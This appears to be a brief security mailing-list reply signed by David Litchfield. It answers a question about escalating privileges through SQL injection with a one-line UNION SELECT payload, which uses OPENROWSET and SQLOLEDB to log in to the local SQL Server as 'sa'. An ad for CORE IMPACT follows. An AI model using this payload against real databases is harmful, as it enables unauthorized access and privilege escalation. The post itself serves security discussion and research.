>.....The goal is to elevate priviledges.
>How would you achieve this? ...
You need to take a look at OPENROWSET:
' UNION SELECT * FROM
OPENROWSET('SQLOLEDB','localhost';'sa';'testpass','SELECT @@version')--
Adhoc queries need to be enabled, though.
HTH,
David Litchfield
NGSSoftware Ltd
http://www.ngssoftware.com/
----------------------------------------------------------------------------
Do you know the base address of the Global Offset Table (GOT) on a Solaris 8
box?
CORE IMPACT does.
http://www.securityfocus.com/core
